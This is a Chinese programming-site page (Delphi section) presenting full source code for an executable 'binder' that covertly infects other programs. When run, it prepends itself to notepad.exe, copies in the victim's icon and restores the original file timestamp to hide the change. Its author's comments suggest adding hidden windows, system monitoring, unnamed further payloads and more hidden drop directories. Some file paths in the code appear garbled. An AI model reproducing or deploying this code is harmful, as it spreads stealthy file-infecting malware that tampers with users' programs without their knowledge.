程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> 更多編程語言 >> Delphi >> 捆綁執行文件新思維(第二版)

捆綁執行文件新思維(第二版)

編輯:Delphi
  最新功能:與其它程序捆綁後,圖標為其它程序的圖標
  這個示范程序沒有form,編譯、壓縮後僅40K,運行後不長駐內存
  如果加上隱藏的窗體,加上搜索可執行程序的功能,加上監視系統的功能,加上 %$#@*^ 功能...

  程序中幾個數字的確定:
  1  在本程序編譯後用ASPack.Exe壓縮,大小為41472
  2  經過分析,本程序在用ASPack.Exe壓縮後,圖標前面部分長40751,圖標數據
     位於從第40752字節開始共640字節,圖標後還有81字節

  與其它程序捆綁的過程:
  本程序的前40751字節+被捆綁程序的圖標+本程序最後81字節+被捆綁程序全部

  怎麼找到圖標的位置:
  將程序的圖標設定為一個32*32的紅色塊,在程序經過編譯、壓縮後,用十六進制
  編輯軟件載入,查找"99 99 99"字符串即可。以後你可為程序加上其它合適的圖標。
  十六進制編輯軟件:常用UltraEdit。
  本人嫌它有日期限制,自編了一個,有十六進制編輯、比較、查找功能,並在不斷完善中,對付幾百K的文件沒問題:
      http://guanbh.top263.Net/download/hexedit.exe
  }
  program exe2;

  uses
    classes,
    Tlhelp32,
    Windows,
    graphics,
    ShellAPI,
    SysUtils;

  {$R *.RES}
  var
    lppe:TProcessEntry32;
    found:boolean;
    handle:THandle;
    ProcessStr,ExeName:string;
    WinDir:pchar;
  const
    MySize=41472; {!!這個值要根據編譯或壓縮後的文件大小進行修改!!}

  procedure copy2(s:string);
  var
    s1,s2,IcoStream:TMemoryStream;
    File2:TFilestream;
    ch:array[0..1] of char;
    ss:string;
    filetime,fhandle:integer;
    l:integer;
    File2Icon:Ticon;
  begin
    {若文件s不存在}
    if FileExists(s)=False then exit;
    try
      {若文件不含圖標,就不捆綁}
      File2Icon:=Ticon.Create;
      l:=extracticon(handle,pchar(s),0);
      if l=0 then
      begin
        File2Icon.Free;
        exit;
      end
      else
      begin
         {提取被捆綁程序圖標}
         File2Icon.Handle:=extracticon(handle,pchar(s),0);
         IcoStream:=TMemoryStream.Create;
         File2Icon.SaveToStream(IcoStream);
         File2Icon.Free;
      end;
      {判斷文件s中有沒有第2個程序頭'MZ'。若有,表示已經合並過}
      File2:=TFilestream.Create(s,fmopenread);
      if File2.Size>MySize then
      begin
        File2.Position:=MySize;
        File2.Read(ch,2);
        ss:=copy(ch,1,2);
        if ss='MZ' then
        begin
          File2.Free;
          exit;
        end;
      end;
      File2.Free;
      {將本文件與文件s合並 本文件+s=s}
      s2:=TMemoryStream.Create;
      s2.loadfromfile(ExeName);
      s1:=TMemoryStream.Create;
      {
      加入本程序的前部40751字節
      第40752字節開始共640字節為圖標數據
      !!以下數字 40751,81要根據實際情況修改!!
       }
      s1.copyfrom(s2,40751);
      {將圖標換為被捆綁程序圖標,圖標大小為766}
      IcoStream.Position:=126;
      s1.CopyFrom(IcoStream,640);
      IcoStream.Free;
      s2.Position:=40751+640;
      {加入本程序的後部81字節}
      s1.CopyFrom(s2,81);
      s2.clear;
      s2.loadfromfile(s);
      s1.seek(s1.size,soFromBeginning);
      {加入被捆綁程序全部}
      s1.copyfrom(s2,s2.size);
      s2.free;
      {得到文件s的日期}
      fhandle:=FileOpen(s, fmOpenread);
      filetime:=filegetdate(fhandle);
      fileclose(fhandle);
      s1.SaveToFile(s);
      {恢復文件s的日期}
      fhandle:=FileOpen(s, fmOpenwrite);
      filesetdate(fhandle,filetime);
      fileclose(fhandle);
      s1.free;
    except end;
  end;

  procedure CreateFileAndRun;
  var
    s1,s2:TMemoryStream;
    TempDir:pchar;
    cmdstr:string;
    a:integer;
  Begin
    s1:=TMemoryStream.Create;
    s1.loadfromfile(ExeName);
    if s1.Size=MySize then
    begin
      s1.Free;
      exit;
    end;
    s1.seek(MySize,soFromBeginning);
    s2:=TMemoryStream.Create;
    s2.copyfrom(s1,s1.Size-MySize);
    GetMem(TempDir,255);
    GetTempPath(255,TempDir);
    try
      {
      把文件釋放到臨時目錄。
      如果你不想讓人看到在這個目錄下釋放了一堆文件,可改為其它更隱蔽的目錄,
      如 c:Windows(or winnt)d...(☆這是個什麼目錄?你去研究研究吧!☆)
      }
      s2.SaveToFile(TempDir+''+ExtractFileName(ExeName));
    except end;
      cmdstr:='';
      a:=1;
      while ParamStr(a)<>'' do begin
        cmdstr:=cmdstr+ParamStr(a)+' ';
        inc(a);
      end;
    {運行真正的程序文件}
    winexec(pchar(TempDir+''+ExtractFileName(ExeName)+' '+cmdstr),SW_SHOW);
    freemem(TempDir);
    s2.free;
    s1.free;
  end;

  begin
    GetMem(WinDir,255);
    GetWindowsDirectory(WinDir,255);
    ExeName:=ParamStr(0);
    handle:=CreateToolhelp32Snapshot(TH32CS_SNAPALL,0);
    found:=Process32First(handle,lppe);
    ProcessStr:='';
    while found do
    begin
      ProcessStr:=ProcessStr+lppe.szExeFile;{列出所有進程}
      found:=Process32Next(handle,lppe);
    end;
    {如果notepad沒運行,就與它捆在一起}
    if pos(WinDir+' otepad.exe',ProcessStr)=0 then
    begin
      copy2(WinDir+' otepad.exe');
    end;
    {其它需要捆綁的文件
    if pos(...,ProcessStr)=0 then
    begin
      copy2(...);
    end;
    ...
    }
    freemem(WinDir);
    {
    你想用這個程序干點其它的什麼...
    }
    CreateFileAndRun;{釋放文件並帶參數運行}
  end.
  

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved